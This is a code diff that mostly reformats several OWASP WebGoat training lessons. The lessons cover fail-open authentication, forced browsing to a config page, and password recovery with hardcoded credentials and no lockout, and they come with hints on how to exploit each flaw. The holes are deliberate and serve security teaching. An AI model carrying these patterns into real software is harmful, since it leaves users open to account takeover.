javax.servlet.http.HttpSession session = s.getRequest().getSession();
if(session.getAttribute(PASSED) != null)
{ {
makeSuccess(s); makeSuccess(s);
session.removeAttribute(PASSED); session.removeAttribute(PASSED);
} }
} }
} }

View File

@ -1,193 +1,184 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.html.A; import org.apache.ecs.html.A;
import org.apache.ecs.html.IMG; import org.apache.ecs.html.IMG;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a> * @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @created October 28, 2003 * @created October 28, 2003
*/ */
public class FailOpenAuthentication extends WeakAuthenticationCookie public class FailOpenAuthentication extends WeakAuthenticationCookie
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* @return Description of the Return Value * Description of the Parameter
*/ * @return Description of the Return Value
protected Element createContent(WebSession s) */
{ protected Element createContent(WebSession s)
boolean logout = s.getParser().getBooleanParameter(LOGOUT, false);
if (logout)
{ {
s.setMessage("Goodbye!"); boolean logout = s.getParser().getBooleanParameter(LOGOUT, false);
s.eatCookies();
return (makeLogin(s)); if (logout)
}
try
{
String username = "";
String password = "";
try
{
username = s.getParser().getRawParameter(USERNAME);
password = s.getParser().getRawParameter(PASSWORD);
// if credentials are bad, send the login page
if (!"webgoat".equals(username) || !password.equals("webgoat"))
{ {
s.setMessage("Invalid username and password entered."); s.setMessage("Goodbye!");
s.eatCookies();
return (makeLogin(s)); return (makeLogin(s));
} }
}
catch (Exception e)
{
// The parameter was omitted. set fail open status complete
if (username.length() > 0
&& e.getMessage().indexOf("not found") != -1)
{
if ((username != null) && (username.length() > 0))
{
makeSuccess(s);
return (makeUser(s, username,
"Fail Open Error Handling"));
}
}
}
// Don't let the fail open pass with a blank password. try
if (password.length() == 0)
{
// We make sure the username was submitted to avoid telling the user an invalid
// username/password was entered when they first enter the lesson via the side menu.
// This also suppresses the error if they just hit the login and both fields are empty.
if (username.length() != 0)
{ {
s.setMessage("Invalid username and password entered."); String username = "";
String password = "";
try
{
username = s.getParser().getRawParameter(USERNAME);
password = s.getParser().getRawParameter(PASSWORD);
// if credentials are bad, send the login page
if (!"webgoat".equals(username) || !password.equals("webgoat"))
{
s.setMessage("Invalid username and password entered.");
return (makeLogin(s));
}
} catch (Exception e)
{
// The parameter was omitted. set fail open status complete
if (username.length() > 0 && e.getMessage().indexOf("not found") != -1)
{
if ((username != null) && (username.length() > 0))
{
makeSuccess(s);
return (makeUser(s, username, "Fail Open Error Handling"));
}
}
}
// Don't let the fail open pass with a blank password.
if (password.length() == 0)
{
// We make sure the username was submitted to avoid telling the user an invalid
// username/password was entered when they first enter the lesson via the side menu.
// This also suppresses the error if they just hit the login and both fields are
// empty.
if (username.length() != 0)
{
s.setMessage("Invalid username and password entered.");
}
return (makeLogin(s));
}
// otherwise authentication is good, show the content
if ((username != null) && (username.length() > 0)) { return (makeUser(s, username,
"Parameters. You did not exploit the fail open.")); }
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
} }
return (makeLogin(s)); return (makeLogin(s));
}
// otherwise authentication is good, show the content
if ((username != null) && (username.length() > 0))
{
return (makeUser(s, username,
"Parameters. You did not exploit the fail open."));
}
} }
catch (Exception e)
/**
* Gets the category attribute of the FailOpenAuthentication object
*
* @return The category value
*/
public Category getDefaultCategory()
{ {
s.setMessage("Error generating " + this.getClass().getName()); return Category.ERROR_HANDLING;
} }
return (makeLogin(s)); /**
} * Gets the hints attribute of the AuthenticateScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("You can force errors during the authentication process.");
hints.add("You can change length, existance, or values of authentication parameters.");
hints
.add("Try removing a parameter ENTIRELY with <A href=\"http://www.owasp.org/development/webscarab\">WebScarab</A>.");
return hints;
}
/** /**
* Gets the category attribute of the FailOpenAuthentication object * Gets the instructions attribute of the FailOpenAuthentication object
* *
* @return The category value * @return The instructions value
*/ */
public Category getDefaultCategory() public String getInstructions(WebSession s)
{ {
return Category.ERROR_HANDLING; return "Due to an error handling problem in the authentication mechanism, it is possible to authenticate "
} + "as the 'webgoat' user without entering a password. Try to login as the webgoat user without "
+ "specifying a password.";
}
private final static Integer DEFAULT_RANKING = new Integer(20);
/** protected Integer getDefaultRanking()
* Gets the hints attribute of the AuthenticateScreen object {
* return DEFAULT_RANKING;
* @return The hints value }
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("You can force errors during the authentication process.");
hints
.add("You can change length, existance, or values of authentication parameters.");
hints
.add("Try removing a parameter ENTIRELY with <A href=\"http://www.owasp.org/development/webscarab\">WebScarab</A>.");
return hints; /**
} * Gets the title attribute of the AuthenticateScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Fail Open Authentication Scheme");
}
public Element getCredits()
/** {
* Gets the instructions attribute of the FailOpenAuthentication object return super.getCustomCredits("", ASPECT_LOGO);
* }
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
return "Due to an error handling problem in the authentication mechanism, it is possible to authenticate "
+ "as the 'webgoat' user without entering a password. Try to login as the webgoat user without "
+ "specifying a password.";
}
private final static Integer DEFAULT_RANKING = new Integer(20);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the AuthenticateScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Fail Open Authentication Scheme");
}
public Element getCredits()
{
return super.getCustomCredits("", ASPECT_LOGO);
}
} }

View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -16,138 +16,135 @@ import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies.</a> * @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies.</a>
* @created November 02, 2006 * @created November 02, 2006
*/ */
public class ForcedBrowsing extends LessonAdapter public class ForcedBrowsing extends LessonAdapter
{ {
private final static String SUCCEEDED = "succeeded"; private final static String SUCCEEDED = "succeeded";
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0); private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
.setBorder(0).setHspace(0).setVspace(0);
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* @return Description of the Return Value * Description of the Parameter
*/ * @return Description of the Return Value
protected Element createContent(WebSession s) */
{ protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
String success = new String(s.getParser().getStringParameter(SUCCEEDED,"")); String success = new String(s.getParser().getStringParameter(SUCCEEDED, ""));
if (success.length() != 0 && success.equals("yes")) if (success.length() != 0 && success.equals("yes"))
{ {
ec.addElement(new BR().addElement(new H1().addElement("Welcome to WebGoat Configuration Page"))); ec.addElement(new BR().addElement(new H1().addElement("Welcome to WebGoat Configuration Page")));
ec.addElement(new BR()); ec.addElement(new BR());
Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center"); Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center");
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TD(new StringElement("Set Admin Privileges for: "))); tr.addElement(new TD(new StringElement("Set Admin Privileges for: ")));
Input input1 = new Input(Input.TEXT, "", ""); Input input1 = new Input(Input.TEXT, "", "");
tr.addElement(new TD(input1)); tr.addElement(new TD(input1));
t1.addElement(tr); t1.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD(new StringElement("Set Admin Password:"))); tr.addElement(new TD(new StringElement("Set Admin Password:")));
input1 = new Input(Input.PASSWORD, "", ""); input1 = new Input(Input.PASSWORD, "", "");
tr.addElement(new TD(input1)); tr.addElement(new TD(input1));
t1.addElement(tr); t1.addElement(tr);
Element b = ECSFactory.makeButton("Submit"); Element b = ECSFactory.makeButton("Submit");
t1.addElement(new TR(new TD(b).setColSpan(2).setAlign("right"))); t1.addElement(new TR(new TD(b).setColSpan(2).setAlign("right")));
ec.addElement(t1); ec.addElement(t1);
makeSuccess(s); makeSuccess(s);
} }
else else
{ {
ec.addElement("Can you try to force browse to the config page which should only be accessed by maintenance personnel."); ec
.addElement("Can you try to force browse to the config page which should only be accessed by maintenance personnel.");
} }
return ec; return ec;
} }
/**
* Gets the category attribute of the ForgotPassword object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.INSECURE_CONFIGURATION;
}
/** /**
* Gets the category attribute of the ForgotPassword object * Gets the hints attribute of the HelloScreen object
* *
* @return The category value * @return The hints value
*/ */
protected Category getDefaultCategory() public List<String> getHints(WebSession s)
{ {
return Category.INSECURE_CONFIGURATION; List<String> hints = new ArrayList<String>();
}
/**
* Gets the hints attribute of the HelloScreen object
*
* @return The hints value
*/
public List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Try to guess the URL for the config page"); hints.add("Try to guess the URL for the config page");
hints.add("The config page is guessable and hackable"); hints.add("The config page is guessable and hackable");
hints.add("Play with the URL and try to guess what you can replace 'attack' with."); hints.add("Play with the URL and try to guess what you can replace 'attack' with.");
hints.add("Try to navigate to http://localhost/WebGoat/conf"); hints.add("Try to navigate to http://localhost/WebGoat/conf");
return hints; return hints;
} }
private final static Integer DEFAULT_RANKING = new Integer(15); private final static Integer DEFAULT_RANKING = new Integer(15);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
protected Integer getDefaultRanking() /**
{ * Gets the title attribute of the HelloScreen object
return DEFAULT_RANKING; *
} * @return The title value
*/
public String getTitle()
{
return ("Forced Browsing");
}
public Element getCredits()
/** {
* Gets the title attribute of the HelloScreen object return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
* }
* @return The title value
*/
public String getTitle()
{
return ("Forced Browsing");
}
public Element getCredits()
{
return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
}
} }

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import java.util.HashMap; import java.util.HashMap;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -17,64 +17,64 @@ import org.apache.ecs.html.TD;
import org.apache.ecs.html.TH; import org.apache.ecs.html.TH;
import org.apache.ecs.html.TR; import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table; import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Eric Sheridan <a href="http://www.aspectsecurity.com">Aspect Security</a> * @author Eric Sheridan <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @created December 18, 2005 * @created December 18, 2005
*/ */
public class ForgotPassword extends LessonAdapter public class ForgotPassword extends LessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
private final static String USERNAME = "Username"; private final static String USERNAME = "Username";
private static String USERNAME_RESPONSE = ""; private static String USERNAME_RESPONSE = "";
private final static String COLOR = "Color"; private final static String COLOR = "Color";
private static String COLOR_RESPONSE = ""; private static String COLOR_RESPONSE = "";
private static int STAGE = 1; private static int STAGE = 1;
private final static HashMap<String, String> USERS = new HashMap<String, String>(); private final static HashMap<String, String> USERS = new HashMap<String, String>();
private final static HashMap<String, String> COLORS = new HashMap<String, String>(); private final static HashMap<String, String> COLORS = new HashMap<String, String>();
private void populateTables()
private void populateTables() {
{
USERS.put("admin", "2275$starBo0rn3"); USERS.put("admin", "2275$starBo0rn3");
USERS.put("jeff", "(_I_)illia(V)s"); USERS.put("jeff", "(_I_)illia(V)s");
USERS.put("dave", "\\V/ich3r$"); USERS.put("dave", "\\V/ich3r$");
@ -86,11 +86,10 @@ public class ForgotPassword extends LessonAdapter
COLORS.put("dave", "purple"); COLORS.put("dave", "purple");
COLORS.put("intern", "yellow"); COLORS.put("intern", "yellow");
COLORS.put("webgoat", "red"); COLORS.put("webgoat", "red");
} }
protected Element doStage1(WebSession s)
protected Element doStage1(WebSession s) {
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(new BR().addElement(new H1().addElement("Webgoat Password Recovery "))); ec.addElement(new BR().addElement(new H1().addElement("Webgoat Password Recovery ")));
@ -98,11 +97,13 @@ public class ForgotPassword extends LessonAdapter
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TH().addElement("Please input your username. See the OWASP admin if you do not have an account.").setColSpan(2).setAlign("left")); tr.addElement(new TH()
.addElement("Please input your username. See the OWASP admin if you do not have an account.")
.setColSpan(2).setAlign("left"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
@ -125,11 +126,10 @@ public class ForgotPassword extends LessonAdapter
ec.addElement(t); ec.addElement(t);
return (ec); return (ec);
} }
protected Element doStage2(WebSession s)
protected Element doStage2(WebSession s) {
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(new H1().addElement("Webgoat Password Recovery ")); ec.addElement(new H1().addElement("Webgoat Password Recovery "));
@ -137,11 +137,12 @@ public class ForgotPassword extends LessonAdapter
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TH().addElement("Secret Question: What is your favorite color?").setColSpan(2).setAlign("left")); tr.addElement(new TH().addElement("Secret Question: What is your favorite color?").setColSpan(2)
.setAlign("left"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
@ -164,11 +165,10 @@ public class ForgotPassword extends LessonAdapter
ec.addElement(t); ec.addElement(t);
return (ec); return (ec);
} }
protected Element doStage3(WebSession s)
protected Element doStage3(WebSession s) {
{
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(new H1().addElement("Webgoat Password Recovery ")); ec.addElement(new H1().addElement("Webgoat Password Recovery "));
@ -176,15 +176,17 @@ public class ForgotPassword extends LessonAdapter
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TH().addElement("For security reasons, please change your password immediately.").setColSpan(2).setAlign("left")); tr.addElement(new TH().addElement("For security reasons, please change your password immediately.")
.setColSpan(2).setAlign("left"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement(new BR().addElement(new B().addElement(new StringElement("Results:")))).setAlign("left")); tr.addElement(new TD().addElement(new BR().addElement(new B().addElement(new StringElement("Results:"))))
.setAlign("left"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
@ -203,24 +205,24 @@ public class ForgotPassword extends LessonAdapter
if (USERNAME_RESPONSE.equals("admin") && COLOR_RESPONSE.equals("green")) if (USERNAME_RESPONSE.equals("admin") && COLOR_RESPONSE.equals("green"))
{ {
makeSuccess(s); makeSuccess(s);
} }
else if (!USERNAME_RESPONSE.equals("webgoat") && USERS.containsKey(USERNAME_RESPONSE)) else if (!USERNAME_RESPONSE.equals("webgoat") && USERS.containsKey(USERNAME_RESPONSE))
{ {
s.setMessage("Close. Now try to get the password of a privileged account."); s.setMessage("Close. Now try to get the password of a privileged account.");
} }
return ec; return ec;
} }
/**
/** * Description of the Method
* Description of the Method *
* * @param s
* @param s Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
String username = ""; String username = "";
String color = ""; String color = "";
@ -228,79 +230,77 @@ public class ForgotPassword extends LessonAdapter
color = s.getParser().getStringParameter(COLOR, ""); color = s.getParser().getStringParameter(COLOR, "");
if (color.length() > 0) if (color.length() > 0)
STAGE = 2; STAGE = 2;
else else
STAGE = 1; STAGE = 1;
if (USERS.size() == 0) if (USERS.size() == 0)
{ {
populateTables(); populateTables();
} }
if (STAGE == 2) if (STAGE == 2)
{ {
color = s.getParser().getStringParameter(COLOR, ""); color = s.getParser().getStringParameter(COLOR, "");
if (COLORS.get(USERNAME_RESPONSE).equals(color)) if (COLORS.get(USERNAME_RESPONSE).equals(color))
{ {
STAGE = 1; STAGE = 1;
COLOR_RESPONSE = color; COLOR_RESPONSE = color;
ec.addElement(doStage3(s)); ec.addElement(doStage3(s));
} }
else else
{ {
s.setMessage("Incorrect response for " + USERNAME_RESPONSE + ". Please try again!"); s.setMessage("Incorrect response for " + USERNAME_RESPONSE + ". Please try again!");
ec.addElement(doStage2(s)); ec.addElement(doStage2(s));
} }
} }
else if (STAGE == 1) else if (STAGE == 1)
{ {
username = s.getParser().getStringParameter(USERNAME, ""); username = s.getParser().getStringParameter(USERNAME, "");
if (USERS.containsKey(username)) if (USERS.containsKey(username))
{ {
STAGE = 2; STAGE = 2;
USERNAME_RESPONSE = username; USERNAME_RESPONSE = username;
ec.addElement(doStage2(s)); ec.addElement(doStage2(s));
} }
else else
{ {
if (username.length() > 0) if (username.length() > 0)
{ {
s.setMessage("Not a valid username. Please try again."); s.setMessage("Not a valid username. Please try again.");
} }
ec.addElement(doStage1(s)); ec.addElement(doStage1(s));
} }
} }
else else
{ {
ec.addElement(doStage1(s)); ec.addElement(doStage1(s));
STAGE = 1; STAGE = 1;
} }
return ec; return ec;
} }
/**
* Gets the category attribute of the ForgotPassword object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
/** return Category.AUTHENTICATION;
* Gets the category attribute of the ForgotPassword object }
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.AUTHENTICATION; /**
} * Gets the hints attribute of the HelloScreen object
*
* @return The hints value
/** */
* Gets the hints attribute of the HelloScreen object public List<String> getHints(WebSession s)
* {
* @return The hints value
*/
public List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("There is no lock out policy in place, brute force your way!"); hints.add("There is no lock out policy in place, brute force your way!");
@ -309,30 +309,27 @@ public class ForgotPassword extends LessonAdapter
hints.add("The administrative account is \"admin\""); hints.add("The administrative account is \"admin\"");
return hints; return hints;
} }
private final static Integer DEFAULT_RANKING = new Integer(15); private final static Integer DEFAULT_RANKING = new Integer(15);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
protected Integer getDefaultRanking() /**
{ * Gets the title attribute of the HelloScreen object
return DEFAULT_RANKING; *
} * @return The title value
*/
public String getTitle()
{
return ("Forgot Password");
}
public Element getCredits()
/** {
* Gets the title attribute of the HelloScreen object return super.getCustomCredits("", ASPECT_LOGO);
* }
* @return The title value
*/
public String getTitle()
{
return ("Forgot Password");
}
public Element getCredits()
{
return super.getCustomCredits("", ASPECT_LOGO);
}
} }

View File

@ -1,42 +1,42 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial; package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.PreparedStatement; import java.sql.PreparedStatement;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import org.owasp.webgoat.lessons.RoleBasedAccessControl.RoleBasedAccessControl; import org.owasp.webgoat.lessons.RoleBasedAccessControl.RoleBasedAccessControl;
import org.owasp.webgoat.session.ParameterNotFoundException; import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException; import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException; import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
@ -55,8 +55,8 @@ public abstract class DefaultLessonAction implements LessonAction
this.actionName = actionName; this.actionName = actionName;
} }
public void handleRequest( WebSession s ) public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
throws ParameterNotFoundException, UnauthenticatedException, UnauthorizedException, ValidationException UnauthorizedException, ValidationException
{ {
getLesson().setCurrentAction(s, getActionName()); getLesson().setCurrentAction(s, getActionName());
@ -102,10 +102,7 @@ public abstract class DefaultLessonAction implements LessonAction
protected String getSessionAttribute(WebSession s, String name) throws ParameterNotFoundException protected String getSessionAttribute(WebSession s, String name) throws ParameterNotFoundException
{ {
String value = (String) s.getRequest().getSession().getAttribute(name); String value = (String) s.getRequest().getSession().getAttribute(name);
if (value == null) if (value == null) { throw new ParameterNotFoundException(); }
{
throw new ParameterNotFoundException();
}
return value; return value;
} }
@ -121,8 +118,10 @@ public abstract class DefaultLessonAction implements LessonAction
} }
else else
{ {
//System.out.println("Attribute " + name + " is of type " + s.getRequest().getSession().getAttribute(name).getClass().getName()); // System.out.println("Attribute " + name + " is of type " +
//System.out.println("Attribute value: " + s.getRequest().getSession().getAttribute(name)); // s.getRequest().getSession().getAttribute(name).getClass().getName());
// System.out.println("Attribute value: " +
// s.getRequest().getSession().getAttribute(name));
value = ((Boolean) attribute).booleanValue(); value = ((Boolean) attribute).booleanValue();
} }
return value; return value;
@ -141,8 +140,7 @@ public abstract class DefaultLessonAction implements LessonAction
try try
{ {
value = Integer.parseInt(ss); value = Integer.parseInt(ss);
} } catch (NumberFormatException nfe)
catch (NumberFormatException nfe)
{ {
} }
} }
@ -153,10 +151,7 @@ public abstract class DefaultLessonAction implements LessonAction
protected String getRequestAttribute(WebSession s, String name) throws ParameterNotFoundException protected String getRequestAttribute(WebSession s, String name) throws ParameterNotFoundException
{ {
String value = (String) s.getRequest().getAttribute(name); String value = (String) s.getRequest().getAttribute(name);
if (value == null) if (value == null) { throw new ParameterNotFoundException(); }
{
throw new ParameterNotFoundException();
}
return value; return value;
